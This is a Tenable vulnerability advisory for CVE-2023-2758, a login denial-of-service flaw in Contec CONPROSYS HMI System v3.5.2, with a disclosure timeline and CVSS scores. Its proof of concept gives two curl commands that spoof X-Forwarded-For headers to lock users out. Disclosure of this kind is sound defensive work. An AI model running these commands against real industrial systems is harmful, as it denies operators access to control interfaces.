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Contec CONPROSYS HMI System Login DoS

Medium

Synopsis

A denial of service vulnerability exists in Contec CONPROSYS HMI System (CHS) v3.5.2. An unauthenticated remote attacker can exploit it to prevent legitimate users from logging in from the attacker-specified IP addresses for hours if the time zones configured in PHP and PostgreSQL are different. The attacker can repeat the attack to cause login DoS for an extended period of time.


Proof of Concept
Prevent logins from localhost.
Set "date.timezone" to "UTC" in php.ini and "America/New_York" in PostgreSQL to ensure differing timezones.
On a separate host, run:
# curl -H "X-Forwarded-For: ::1" -d 'uid=admin&pwd=aaa' 'http://<chs-host>/php/login.php?cid=con&pid=admin&type=admin,user&nname=1&lang=en'
# curl -H "X-Forwarded-For: 127.0.0.1" -d 'uid=admin&pwd=aaa' 'http://<chs-host>/php/login.php?cid=con&pid=admin&type=admin,user&nname=1&lang=en'


On the CHS host using a web browser, try to login to http://localhost/ with valid credentials for ProjectID admin. Valid users with correct credentials should not able to login from that host.

Solution

Apply latest vendor-supplied patch.

Disclosure Timeline

April 27, 2023 - Tenable discloses issues to vendor
April 28, 2023 - Vendor acknowledges receipt
May 9, 2023 - Vendor confirms vulnerability and requests usage of JPCERT/CC for disclosure coordination. Tenable acknowledges.
May 12, 2023 - Vendor requests permission to share contact details with JPCERT/CC.
May 15, 2023 - Tenable grants permission and provides contact details.
May 16, 2023 - JPCERT/CC establishes contact.
May 17, 2023 - Tenable acknowledges.
May 31, 2023 - JPCERT/CC informs Tenable that patches are now available and advisories have been published.

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Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

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If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-2758
Tenable Advisory ID: TRA-2023-21
CVSSv3 Base / Temporal Score:
5.3 / 4.8
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Affected Products:
Contec CONPROSYS HMI System (CHS) v3.5.2
Risk Factor:
Medium

Advisory Timeline

May 31, 2023 - Initial release.
June 1, 2023 - Updated CVSS and risk factor.